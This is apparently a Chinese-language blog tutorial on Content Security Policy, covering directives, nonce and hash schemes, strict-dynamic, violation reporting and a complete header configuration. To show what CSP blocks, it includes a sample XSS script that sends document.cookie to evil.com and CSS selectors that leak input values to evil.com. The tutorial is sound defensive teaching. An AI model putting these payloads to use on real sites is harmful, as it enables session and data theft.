Content Security Policy 深度解析:從 XSS 防護到 strict-dynamic
CSP:XSS 防護的最後一道防線
Content Security Policy(CSP)是 HTTP 回應標頭,告訴瀏覽器哪些資源可以載入、從哪裡載入。即使攻擊者注入了惡意指令碼,CSP 也能阻止其執行。
沒有 CSP 時的 XSS 攻擊
<!-- 攻擊者注入的指令碼 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
有 CSP 後
Content-Security-Policy: default-src 'self'
→ 瀏覽器拒絕執行內嵌指令碼
→ 拒絕載入非同源資源
→ XSS 攻擊失效
CSP 核心指令
資源載入指令
| 指令 | 控制範圍 | 範例值 |
|---|---|---|
default-src |
所有資源的預設策略 | 'self' |
script-src |
JavaScript 來源 | 'self' 'nonce-abc' |
style-src |
CSS 來源 | 'self' 'unsafe-inline' |
img-src |
圖片來源 | 'self' data: https: |
font-src |
字型來源 | 'self' https://fonts.gstatic.com |
connect-src |
fetch/XHR/WebSocket 來源 | 'self' https://api.example.com |
media-src |
音影片來源 | 'self' |
object-src |
<object>/<embed> 來源 |
'none' |
frame-src |
iframe 來源 | 'self' |
base-uri |
<base href> 限制 |
'self' |
form-action |
表單提交目標 | 'self' |
文件指令
| 指令 | 作用 | 推薦值 |
|---|---|---|
upgrade-insecure-requests |
HTTP 自動升級 HTTPS | (無需值) |
block-all-mixed-content |
阻止混合內容 | (無需值) |
sandbox |
限制頁面能力(類似 iframe sandbox) | allow-scripts allow-forms |
從 unsafe-inline 到 nonce/hash
unsafe-inline 的風險
script-src 'self' 'unsafe-inline'
→ 允許所有內嵌指令碼執行
→ XSS 注入的 <script> 也能執行
→ CSP 形同虛設
nonce 方案
伺服器端為每個請求產生隨機 nonce,僅允許帶匹配 nonce 的指令碼執行:
<!-- HTTP 回應標頭 -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<!-- HTML 中的指令碼 -->
<script nonce="abc123def456">
console.log('這是合法指令碼');
</script>
<!-- 攻擊者注入的指令碼沒有 nonce → 被阻止 -->
<script>
stealCookies(); // 不執行
</script>
Next.js 中實作 nonce
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `script-src 'self' 'nonce-${nonce}'`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
hash 方案
對指令碼內容計算 SHA256 雜湊,僅允許雜湊匹配的指令碼:
Content-Security-Policy: script-src 'self' 'sha256-abc123...'
<!-- 雜湊匹配的指令碼可以執行 -->
<script>console.log('固定內容指令碼');</script>
hash 適用於內容固定的內嵌指令碼(如 GA 初始化程式碼),nonce 適用於動態內容。
strict-dynamic:信任鏈傳播
傳統 CSP 的痛點
每新增一個第三方指令碼來源,就要在 script-src 中新增網域:
script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...
維護困難,且信任網域下的所有指令碼。
strict-dynamic 方案
strict-dynamic 表示:由 nonce/hash 信任的指令碼動態載入的指令碼也自動受信任。
script-src 'strict-dynamic' 'nonce-abc123'
- 帶 nonce 的
<script>可以執行 - 該指令碼用
document.createElement('script')建立的指令碼也可以執行 - 不需要在 CSP 中列出所有 CDN 網域
信任鏈傳播規則
nonce 信任的指令碼
↓ 動態載入
子指令碼自動信任
↓ 動態載入
孫指令碼自動信任
↓ ...
strict-dynamic下,'self'、'unsafe-inline'、網域源等傳統源運算式被忽略,僅 nonce/hash 作為信任根。
style-src 的特殊處理
為什麼 CSS 也需要 CSP
攻擊者可以透過 CSS 竊取資料:
/* CSS 資料竊取:根據屬性值載入不同背景圖 */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }
樣式 CSP 策略
style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
.card { border-radius: 8px; }
</style>
許多框架(如 Tailwind CSS 的 JIT)需要
'unsafe-inline',可透過 nonce 或 hash 逐步收緊。
CSP 違規報告
設定報告端點
Content-Security-Policy: default-src 'self'; report-uri /api/csp-report
或使用新的 report-to:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"
違規報告格式
{
"csp-report": {
"document-uri": "https://toolsku.com/blog/csp",
"violated-directive": "script-src 'self'",
"blocked-uri": "inline",
"source-file": "https://toolsku.com/blog/csp",
"line-number": 42,
"column-number": 8
}
}
報告處理伺服器端
export async function POST(request: Request) {
const report = await request.json();
console.error('CSP violation:', report['csp-report']);
await db.insert('csp_violations', {
uri: report['csp-report']['document-uri'],
directive: report['csp-report']['violated-directive'],
blocked: report['csp-report']['blocked-uri'],
timestamp: new Date()
});
return new Response(null, { status: 204 });
}
CSP 唯讀模式(Content-Security-Policy-Report-Only)
部署 CSP 前先用 Report-Only 模式觀察違規,不實際阻止:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report
漸進部署流程
1. 設定 CSP-Report-Only → 收集違規報告
2. 分析報告 → 調整 CSP 策略
3. 違規清零後 → 切換為正式 CSP
4. 持續監控 → 發現新違規再調整
完整 CSP 設定範例
工具庫網站的 CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.toolsku.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /api/csp-report
設定解析
| 指令 | 值 | 安全意義 |
|---|---|---|
default-src 'self' |
預設僅同源 | 防止任意資源載入 |
script-src 'strict-dynamic' 'nonce-...' |
nonce + 信任鏈 | 消滅 unsafe-inline |
style-src 'unsafe-inline' |
允許內嵌樣式 | Tailwind JIT 需要 |
object-src 'none' |
禁止 Flash/Java | 消滅舊外掛攻擊面 |
frame-src 'none' |
禁止 iframe | 防止點擊劫持 |
base-uri 'self' |
限制 base 標籤 | 防止 base 劫持 |
form-action 'self' |
表單僅提交同源 | 防止表單劫持 |
與其他安全回應標頭配合
| 回應標頭 | 作用 | 推薦值 |
|---|---|---|
X-Content-Type-Options |
禁止 MIME 嗅探 | nosniff |
X-Frame-Options |
禁止 iframe 嵌入 | DENY |
X-XSS-Protection |
瀏覽器 XSS 過濾器 | 0(CSP 已涵蓋) |
Strict-Transport-Security |
強制 HTTPS | max-age=31536000; includeSubDomains |
Referrer-Policy |
控制 Referer 洩露 | strict-origin-when-cross-origin |
Permissions-Policy |
限制瀏覽器 API | camera=(), microphone=(), geolocation=() |
常見陷阱
| 陷阱 | 說明 | 解決 |
|---|---|---|
unsafe-eval |
允許 eval()/new Function() |
避免使用 eval,或用 Wasm 替代 |
unsafe-inline + nonce |
nonce 存在時 inline 被忽略 | 移除 unsafe-inline |
缺少 default-src |
未設定的指令回退到 default-src | 始終設定 default-src |
| CDN 網域過多 | 維護困難 | 使用 strict-dynamic |
不設 base-uri |
攻擊者可注入 <base> 改變相對路徑 |
設定 base-uri 'self' |
總結
CSP 是 XSS 防護的核心機制。從 unsafe-inline 遷移到 nonce + strict-dynamic 是現代 CSP 的最佳實務:既消除了內嵌指令碼的風險,又解決了第三方指令碼信任鏈的維護問題。配合 Report-Only 漸進部署和違規報告監控,可以在不破壞功能的前提下持續收緊安全策略。
使用 CSP 產生器 快速設定 CSP 策略,使用 HTTP 標頭分析 檢查回應標頭安全性,使用 Permissions Policy 工具 限制瀏覽器 API 存取。
本站提供瀏覽器本地工具,免註冊即可試用 →